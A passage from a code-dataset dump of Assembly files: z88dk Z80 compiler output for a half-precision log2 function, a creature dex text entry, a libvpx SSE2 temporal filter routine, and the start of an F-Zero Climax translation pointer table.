/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t414,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t415,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t479,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t482,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t486,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t489,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t493,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t496,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t499,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t502,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t506,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t509,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t512,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t515,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t518,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t521,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t525,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t526,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t530,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t531,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t535,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t536,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t540,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t541,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t546,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t547,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t551,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t552,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t556,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t557,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t562,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t565,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t569,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t573,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t576,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t579,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t582,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t583,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t587,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t588,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t593,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t596,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t599,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t603,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t606,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t609,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t613,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t616,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t619,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t622,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t625,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t628,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t631,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t632,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t637,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t640,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t643,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t646,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t650,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t651,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t655,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t656,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t660,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t661,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t665,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t666,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t670,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t671,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t675,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t676,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t680,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t681,\"\/home\/phillip\/Z80\/z88dk\/lib\/config\/..\/..\/\/include\/_DEVELOPMENT\/sccz80\/math.h\"\n\tC_LINE\t35,\"math16.h\"\n\tC_LINE\t48,\"log2f16.c\"\n\tC_LINE\t52,\"log2f16.c\"\n\tC_LINE\t54,\"log2f16.c\"\n\tSECTION\tcode_compiler\n\n; Function log2f16 flags 0x00000288 __smallc __z88dk_fastcall \n; _Float16 half_tlog2f16(_Float16 x)\n; parameter '_Float16 x' at sp+2 size(2)\n\tC_LINE\t55,\"log2f16.c::log2f16\"\n.log2f16\n\tGLOBAL\t_log2f16\n._log2f16\n\tpush\thl\n\tpush\tbc\n\tpush\tbc\n\tpush\tbc\n\tld\thl,6\t;const\n\tadd\thl,sp\n\tld\te,(hl)\n\tinc\thl\n\tld\td,(hl)\n\tpush\tde\n\tld\thl,0\t;const\n\tcall\tl_f16_le\n\tld\ta,h\n\tor\tl\n\tjp\tz,i_2\n\tld\thl,64511\t;const\n\tpop\tbc\n\tpop\tbc\n\tpop\tbc\n\tpop\tbc\n\tret\n\n\n.i_2\n\tld\thl,6\t;const\n\tadd\thl,sp\n\tpush\thl\n\tld\te,(hl)\n\tinc\thl\n\tld\td,(hl)\n\tpush\tde\n\tld\thl,4\t;const\n\tadd\thl,sp\n\tpush\thl\n\tcall\tfrexpf16_callee\n\tpop\tde\n\tex\tde,hl\t;l_pint\n\tld\t(hl),e\n\tinc\thl\n\tld\t(hl),d\n \tex\tde,hl\n\tld\thl,6\t;const\n\tadd\thl,sp\n\tld\te,(hl)\n\tinc\thl\n\tld\td,(hl)\n\tpush\tde\n\tld\thl,14760\t;const\n\tcall\tl_f16_lt\n\tld\ta,h\n\tor\tl\n\tjp\tz,i_3\n\tpop\thl\n\tdec\thl\n\tpush\thl\n\tld\thl,6\t;const\n\tadd\thl,sp\n\tpush\thl\n\tld\ta,(hl)\t;l_gint\n\tinc\thl\n\tld\th,(hl)\n\tld\tl,a\n\tcall\tmul2f16\n\tpush\thl\n\tld\thl,15360\t;const\n\tcall\tl_f16_sub\n\tpop\tde\n\tex\tde,hl\t;l_pint\n\tld\t(hl),e\n\tinc\thl\n\tld\t(hl),d\n \tex\tde,hl\n\tjp\ti_5\n.i_3\n\tld\thl,6\t;const\n\tadd\thl,sp\n\tpush\thl\n\tld\te,(hl)\n\tinc\thl\n\tld\td,(hl)\n\tpush\tde\n\tld\thl,15360\t;const\n\tcall\tl_f16_sub\n\tpop\tde\n\tex\tde,hl\t;l_pint\n\tld\t(hl),e\n\tinc\thl\n\tld\t(hl),d\n \tex\tde,hl\n.i_5\n\tld\thl,6\t;const\n\tadd\thl,sp\n\tld\te,(hl)\n\tinc\thl\n\tld\td,(hl)\n\tpush\tde\n\tld\thl,8\t;const\n\tadd\thl,sp\n\tld\ta,(hl)\t;l_gint\n\tinc\thl\n\tld\th,(hl)\n\tld\tl,a\n\tcall\tl_f16_mul\n\tpop\tde\n\tpop\tbc\n\tpush\thl\n\tpush\tde\n\tld\thl,4\t;const\n\tadd\thl,sp\n\tpush\thl\n\tld\thl,8\t;const\n\tadd\thl,sp\n\tld\te,(hl)\n\tinc\thl\n\tld\td,(hl)\n\tpush\tde\n\tld\thl,_f16_coeff_log\n\tpush\thl\n\tld\thl,9\t;const\n\tpush\thl\n\tcall\tpolyf16_callee\n\tpush\thl\n\tld\thl,6\t;const\n\tadd\thl,sp\n\tld\ta,(hl)\t;l_gint\n\tinc\thl\n\tld\th,(hl)\n\tld\tl,a\n\tcall\tl_f16_mul\n\tpop\tde\n\tex\tde,hl\t;l_pint\n\tld\t(hl),e\n\tinc\thl\n\tld\t(hl),d\n \tex\tde,hl\n\tld\thl,4\t;const\n\tadd\thl,sp\n\tpush\thl\n\tld\te,(hl)\n\tinc\thl\n\tld\td,(hl)\n\tpush\tde\n\tld\thl,6\t;const\n\tadd\thl,sp\n\tld\ta,(hl)\t;l_gint\n\tinc\thl\n\tld\th,(hl)\n\tld\tl,a\n\tcall\tdiv2f16\n\tcall\tl_f16_sub\n\tpop\tde\n\tex\tde,hl\t;l_pint\n\tld\t(hl),e\n\tinc\thl\n\tld\t(hl),d\n \tex\tde,hl\n\tld\thl,4\t;const\n\tadd\thl,sp\n\tld\te,(hl)\n\tinc\thl\n\tld\td,(hl)\n\tpush\tde\n\tld\thl,14101\t;const\n\tcall\tl_f16_mul\n\tpop\tde\n\tpop\tbc\n\tpush\thl\n\tpush\tde\n\tpush\thl\n\tld\thl,8\t;const\n\tadd\thl,sp\n\tld\te,(hl)\n\tinc\thl\n\tld\td,(hl)\n\tpush\tde\n\tld\thl,14101\t;const\n\tcall\tl_f16_mul\n\tcall\tl_f16_add\n\tpop\tde\n\tpop\tbc\n\tpush\thl\n\tpush\tde\n\tpush\thl\n\tld\thl,6\t;const\n\tadd\thl,sp\n\tld\ta,(hl)\t;l_gint\n\tinc\thl\n\tld\th,(hl)\n\tld\tl,a\n\tcall\tl_f16_add\n\tpop\tde\n\tpop\tbc\n\tpush\thl\n\tpush\tde\n\tpush\thl\n\tld\thl,8\t;const\n\tadd\thl,sp\n\tld\ta,(hl)\t;l_gint\n\tinc\thl\n\tld\th,(hl)\n\tld\tl,a\n\tcall\tl_f16_add\n\tpop\tde\n\tpop\tbc\n\tpush\thl\n\tpush\tde\n\tpush\thl\n\tex\tde,hl\n\tcall\tl_f16_sint2f\n\tcall\tl_f16_add\n\tpop\tde\n\tpop\tbc\n\tpush\thl\n\tpush\tde\n\tpop\tbc\n\tpop\tbc\n\tpop\tbc\n\tpop\tbc\n\tret\n\n\n\n; --- Start of Static Variables ---\n\n\tSECTION\tbss_compiler\n\tSECTION\tcode_compiler\n\n\n; --- Start of Scope Defns ---\n\n\tGLOBAL\tacos\n\tGLOBAL\tasin\n\tGLOBAL\tatan\n\tGLOBAL\tatan2\n\tGLOBAL\tatan2_callee\n\tGLOBAL\tcos\n\tGLOBAL\tsin\n\tGLOBAL\ttan\n\tGLOBAL\tacosh\n\tGLOBAL\tasinh\n\tGLOBAL\tatanh\n\tGLOBAL\tcosh\n\tGLOBAL\tsinh\n\tGLOBAL\ttanh\n\tGLOBAL\texp\n\tGLOBAL\texp2\n\tGLOBAL\texpm1\n\tGLOBAL\tfrexp\n\tGLOBAL\tfrexp_callee\n\tGLOBAL\tilogb\n\tGLOBAL\tldexp\n\tGLOBAL\tldexp_callee\n\tGLOBAL\tscalbn\n\tGLOBAL\tscalbn_callee\n\tGLOBAL\tscalbln\n\tGLOBAL\tscalbln_callee\n\tGLOBAL\tlog\n\tGLOBAL\tlog10\n\tGLOBAL\tlog1p\n\tGLOBAL\tlog2\n\tGLOBAL\tlogb\n\tGLOBAL\tfabs\n\tGLOBAL\thypot\n\tGLOBAL\thypot_callee\n\tGLOBAL\tpow\n\tGLOBAL\tpow_callee\n\tGLOBAL\tsqrt\n\tGLOBAL\tcbrt\n\tGLOBAL\terf\n\tGLOBAL\terfc\n\tGLOBAL\tlgamma\n\tGLOBAL\ttgamma\n\tGLOBAL\tceil\n\tGLOBAL\tfloor\n\tGLOBAL\tnearbyint\n\tGLOBAL\trint\n\tGLOBAL\tlrint\n\tGLOBAL\tround\n\tGLOBAL\tlround\n\tGLOBAL\ttrunc\n\tGLOBAL\tmodf\n\tGLOBAL\tmodf_callee\n\tGLOBAL\tfmod\n\tGLOBAL\tfmod_callee\n\tGLOBAL\tremainder\n\tGLOBAL\tremainder_callee\n\tGLOBAL\tremquo\n\tGLOBAL\tremquo_callee\n\tGLOBAL\tcopysign\n\tGLOBAL\tcopysign_callee\n\tGLOBAL\tnan\n\tGLOBAL\tnextafter\n\tGLOBAL\tnextafter_callee\n\tGLOBAL\tnexttoward\n\tGLOBAL\tnexttoward_callee\n\tGLOBAL\tfdim\n\tGLOBAL\tfdim_callee\n\tGLOBAL\tfmax\n\tGLOBAL\tfmax_callee\n\tGLOBAL\tfmin\n\tGLOBAL\tfmin_callee\n\tGLOBAL\tfma\n\tGLOBAL\tfma_callee\n\tGLOBAL\tisgreater\n\tGLOBAL\tisgreater_callee\n\tGLOBAL\tisgreaterequal\n\tGLOBAL\tisgreaterequal_callee\n\tGLOBAL\tisless\n\tGLOBAL\tisless_callee\n\tGLOBAL\tislessequal\n\tGLOBAL\tislessequal_callee\n\tGLOBAL\tislessgreater\n\tGLOBAL\tislessgreater_callee\n\tGLOBAL\tisunordered\n\tGLOBAL\tisunordered_callee\n\tGLOBAL\tf16_f48\n\tGLOBAL\tf48_f16\n\tGLOBAL\tf16_f32\n\tGLOBAL\tf32_f16\n\tGLOBAL\ti16_f16\n\tGLOBAL\tu16_f16\n\tGLOBAL\ti32_f16\n\tGLOBAL\tu32_f16\n\tGLOBAL\tf16_i8\n\tGLOBAL\tf16_i16\n\tGLOBAL\tf16_i32\n\tGLOBAL\tf16_u8\n\tGLOBAL\tf16_u16\n\tGLOBAL\tf16_u32\n\tGLOBAL\taddf16\n\tGLOBAL\taddf16_callee\n\tGLOBAL\tsubf16\n\tGLOBAL\tsubf16_callee\n\tGLOBAL\tmulf16\n\tGLOBAL\tmulf16_callee\n\tGLOBAL\tdivf16\n\tGLOBAL\tdivf16_callee\n\tGLOBAL\tfmaf16\n\tGLOBAL\tfmaf16_callee\n\tGLOBAL\tpolyf16\n\tGLOBAL\tpolyf16_callee\n\tGLOBAL\thypotf16\n\tGLOBAL\thypotf16_callee\n\tGLOBAL\tinvf16\n\tGLOBAL\tinvsqrtf16\n\tGLOBAL\tsqrtf16\n\tGLOBAL\tdiv2f16\n\tGLOBAL\tmul2f16\n\tGLOBAL\tmul10f16\n\tGLOBAL\tfrexpf16\n\tGLOBAL\tfrexpf16_callee\n\tGLOBAL\tldexpf16\n\tGLOBAL\tldexpf16_callee\n\tGLOBAL\tacosf16\n\tGLOBAL\tasinf16\n\tGLOBAL\tatanf16\n\tGLOBAL\tcosf16\n\tGLOBAL\tsinf16\n\tGLOBAL\ttanf16\n\tGLOBAL\texpf16\n\tGLOBAL\texp2f16\n\tGLOBAL\texp10f16\n\tGLOBAL\tlogf16\n\tGLOBAL\tlog2f16\n\tGLOBAL\tlog10f16\n\tGLOBAL\tpowf16\n\tGLOBAL\tpowf16_callee\n\tGLOBAL\tfabsf16\n\tGLOBAL\tnegf16\n\tGLOBAL\tceilf16\n\tGLOBAL\tfloorf16\n\tGLOBAL\tisgreaterf16\n\tGLOBAL\tisgreaterf16_callee\n\tGLOBAL\tisgreaterequalf16\n\tGLOBAL\tisgreaterequalf16_callee\n\tGLOBAL\tislessf16\n\tGLOBAL\tislessf16_callee\n\tGLOBAL\tislessequalf16\n\tGLOBAL\tislessequalf16_callee\n\tGLOBAL\tislessgreaterf16\n\tGLOBAL\tislessgreaterf16_callee\n\tGLOBAL\tisnotequalf16\n\tGLOBAL\tisnotequalf16_callee\n\tGLOBAL\tisunorderedf16\n\tGLOBAL\tisunorderedf16_callee\n\tGLOBAL\t_f16_coeff_log\n\n\n; --- End of Scope Defns ---\n\n\n; --- End of Compilation ---\n","avg_line_length":37.233937397,"max_line_length":91,"alphanum_fraction":0.7347020043} {"size":177,"ext":"asm","lang":"Assembly","max_stars_count":6.0,"content":"\tdb \"OLD SHRIMP@\" ; species name\n\n\tdb \"An ancestral\"\n\tnext \"#MON that lived\"\n\tnext \"in the ocean. Over\"\n\n\tpage \"time, its eight\"\n\tnext \"feet transformed\"\n\tnext \"into wings.@\"\n","avg_line_length":17.7,"max_line_length":32,"alphanum_fraction":0.6610169492} {"size":7789,"ext":"asm","lang":"Assembly","max_stars_count":83.0,"content":";\n; Copyright (c) 2010 The WebM project authors. All Rights Reserved.\n;\n; Use of this source code is governed by a BSD-style license\n; that can be found in the LICENSE file in the root of the source\n; tree. An additional intellectual property rights grant can be found\n; in the file PATENTS. All contributing project authors may\n; be found in the AUTHORS file in the root of the source tree.\n;\n\n\n%include \"vpx_ports\/x86_abi_support.asm\"\n\n; void vp10_temporal_filter_apply_sse2 | arg\n; (unsigned char *frame1, | 0\n; unsigned int stride, | 1\n; unsigned char *frame2, | 2\n; unsigned int block_width, | 3\n; unsigned int block_height, | 4\n; int strength, | 5\n; int filter_weight, | 6\n; unsigned int *accumulator, | 7\n; unsigned short *count) | 8\nglobal sym(vp10_temporal_filter_apply_sse2) PRIVATE\nsym(vp10_temporal_filter_apply_sse2):\n\n push rbp\n mov rbp, rsp\n SHADOW_ARGS_TO_STACK 9\n SAVE_XMM 7\n GET_GOT rbx\n push rsi\n push rdi\n ALIGN_STACK 16, rax\n %define block_width 0\n %define block_height 16\n %define strength 32\n %define filter_weight 48\n %define rounding_bit 64\n %define rbp_backup 80\n %define stack_size 96\n sub rsp, stack_size\n mov [rsp + rbp_backup], rbp\n ; end prolog\n\n mov edx, arg(3)\n mov [rsp + block_width], rdx\n mov edx, arg(4)\n mov [rsp + block_height], rdx\n movd xmm6, arg(5)\n movdqa [rsp + strength], xmm6 ; where strength is used, all 16 bytes are read\n\n ; calculate the rounding bit outside the loop\n ; 0x8000 >> (16 - strength)\n mov rdx, 16\n sub rdx, arg(5) ; 16 - strength\n movq xmm4, rdx ; can't use rdx w\/ shift\n movdqa xmm5, [GLOBAL(_const_top_bit)]\n psrlw xmm5, xmm4\n movdqa [rsp + rounding_bit], xmm5\n\n mov rsi, arg(0) ; src\/frame1\n mov rdx, arg(2) ; predictor frame\n mov rdi, arg(7) ; accumulator\n mov rax, arg(8) ; count\n\n ; dup the filter weight and store for later\n movd xmm0, arg(6) ; filter_weight\n pshuflw xmm0, xmm0, 0\n punpcklwd xmm0, xmm0\n movdqa [rsp + filter_weight], xmm0\n\n mov rbp, arg(1) ; stride\n pxor xmm7, xmm7 ; zero for extraction\n\n mov rcx, [rsp + block_width]\n imul rcx, [rsp + block_height]\n add rcx, rdx\n cmp dword ptr [rsp + block_width], 8\n jne .temporal_filter_apply_load_16\n\n.temporal_filter_apply_load_8:\n movq xmm0, [rsi] ; first row\n lea rsi, [rsi + rbp] ; += stride\n punpcklbw xmm0, xmm7 ; src[ 0- 7]\n movq xmm1, [rsi] ; second row\n lea rsi, [rsi + rbp] ; += stride\n punpcklbw xmm1, xmm7 ; src[ 8-15]\n jmp .temporal_filter_apply_load_finished\n\n.temporal_filter_apply_load_16:\n movdqa xmm0, [rsi] ; src (frame1)\n lea rsi, [rsi + rbp] ; += stride\n movdqa xmm1, xmm0\n punpcklbw xmm0, xmm7 ; src[ 0- 7]\n punpckhbw xmm1, xmm7 ; src[ 8-15]\n\n.temporal_filter_apply_load_finished:\n movdqa xmm2, [rdx] ; predictor (frame2)\n movdqa xmm3, xmm2\n punpcklbw xmm2, xmm7 ; pred[ 0- 7]\n punpckhbw xmm3, xmm7 ; pred[ 8-15]\n\n ; modifier = src_byte - pixel_value\n psubw xmm0, xmm2 ; src - pred[ 0- 7]\n psubw xmm1, xmm3 ; src - pred[ 8-15]\n\n ; modifier *= modifier\n pmullw xmm0, xmm0 ; modifer[ 0- 7]^2\n pmullw xmm1, xmm1 ; modifer[ 8-15]^2\n\n ; modifier *= 3\n pmullw xmm0, [GLOBAL(_const_3w)]\n pmullw xmm1, [GLOBAL(_const_3w)]\n\n ; modifer += 0x8000 >> (16 - strength)\n paddw xmm0, [rsp + rounding_bit]\n paddw xmm1, [rsp + rounding_bit]\n\n ; modifier >>= strength\n psrlw xmm0, [rsp + strength]\n psrlw xmm1, [rsp + strength]\n\n ; modifier = 16 - modifier\n ; saturation takes care of modifier > 16\n movdqa xmm3, [GLOBAL(_const_16w)]\n movdqa xmm2, [GLOBAL(_const_16w)]\n psubusw xmm3, xmm1\n psubusw xmm2, xmm0\n\n ; modifier *= filter_weight\n pmullw xmm2, [rsp + filter_weight]\n pmullw xmm3, [rsp + filter_weight]\n\n ; count\n movdqa xmm4, [rax]\n movdqa xmm5, [rax+16]\n ; += modifier\n paddw xmm4, xmm2\n paddw xmm5, xmm3\n ; write back\n movdqa [rax], xmm4\n movdqa [rax+16], xmm5\n lea rax, [rax + 16*2] ; count += 16*(sizeof(short))\n\n ; load and extract the predictor up to shorts\n pxor xmm7, xmm7\n movdqa xmm0, [rdx]\n lea rdx, [rdx + 16*1] ; pred += 16*(sizeof(char))\n movdqa xmm1, xmm0\n punpcklbw xmm0, xmm7 ; pred[ 0- 7]\n punpckhbw xmm1, xmm7 ; pred[ 8-15]\n\n ; modifier *= pixel_value\n pmullw xmm0, xmm2\n pmullw xmm1, xmm3\n\n ; expand to double words\n movdqa xmm2, xmm0\n punpcklwd xmm0, xmm7 ; [ 0- 3]\n punpckhwd xmm2, xmm7 ; [ 4- 7]\n movdqa xmm3, xmm1\n punpcklwd xmm1, xmm7 ; [ 8-11]\n punpckhwd xmm3, xmm7 ; [12-15]\n\n ; accumulator\n movdqa xmm4, [rdi]\n movdqa xmm5, [rdi+16]\n movdqa xmm6, [rdi+32]\n movdqa xmm7, [rdi+48]\n ; += modifier\n paddd xmm4, xmm0\n paddd xmm5, xmm2\n paddd xmm6, xmm1\n paddd xmm7, xmm3\n ; write back\n movdqa [rdi], xmm4\n movdqa [rdi+16], xmm5\n movdqa [rdi+32], xmm6\n movdqa [rdi+48], xmm7\n lea rdi, [rdi + 16*4] ; accumulator += 16*(sizeof(int))\n\n cmp rdx, rcx\n je .temporal_filter_apply_epilog\n pxor xmm7, xmm7 ; zero for extraction\n cmp dword ptr [rsp + block_width], 16\n je .temporal_filter_apply_load_16\n jmp .temporal_filter_apply_load_8\n\n.temporal_filter_apply_epilog:\n ; begin epilog\n mov rbp, [rsp + rbp_backup]\n add rsp, stack_size\n pop rsp\n pop rdi\n pop rsi\n RESTORE_GOT\n RESTORE_XMM\n UNSHADOW_ARGS\n pop rbp\n ret\n\nSECTION_RODATA\nalign 16\n_const_3w:\n times 8 dw 3\nalign 16\n_const_top_bit:\n times 8 dw 1<<15\nalign 16\n_const_16w\n times 8 dw 16\n","avg_line_length":36.5680751174,"max_line_length":90,"alphanum_fraction":0.4607780203} {"size":2554,"ext":"asm","lang":"Assembly","max_stars_count":6.0,"content":" ; F-Zero Climax Translation by Normmatt\n\n.align 4\nStoryEpisode16PointerList:\n\t.word Episode16_Line1\n\t.word Episode16_Line2\n\t.word Episode16_Line3\n\t.word Episode16_Line4\n\t.word Episode16_Line5\n\t.word Episode16_Line6\n\t.word Episode16_Line7\n\t.word Episode16_Line8\n\t.word Episode16_Line9\n\t.word Episode16_Line10\n\t.word Episode16_Line11\n\t.word Episode16_Line12\n\t.word Episode16_Line13\n\t.word Episode16_Line14\n\t.word Episode16_Line15\n\t.word Episode16_Line16\n\t.word Episode16_Line17\n\t.word Episode16_Line18\n\t.word Episode16_Line19\n\t.word Episode16_Line20\n\t.word Episode16_Line21\n\t.word Episode16_Line22\n\t.word Episode16_Line23\n\t.word Episode16_Line24\n\t.word Episode16_Line25\n\t.word 